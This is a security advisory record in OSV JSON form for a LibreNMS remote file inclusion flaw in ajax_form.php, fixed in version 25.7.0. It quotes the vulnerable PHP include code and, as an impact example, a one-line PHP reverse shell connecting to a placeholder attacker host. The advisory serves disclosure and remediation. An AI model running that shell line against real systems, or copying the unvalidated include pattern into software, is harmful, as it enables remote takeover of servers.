CVE-2025-54138: Librenms/librenms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gq96-8w38-hhj2",
  "modified" : "2025-07-23T13:37:00Z",
  "published" : "2025-07-21T21:10:51Z",
  "aliases" : [ "CVE-2025-54138" ],
  "summary" : "LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE",
  "details" : "LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {\n    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n>  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated    \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n<?php system('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1\"'); ?>\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54138"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/17990"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/25.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-98" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-21T21:10:51Z",
    "nvd_published_at" : "2025-07-22T22:15:38Z"
  }
}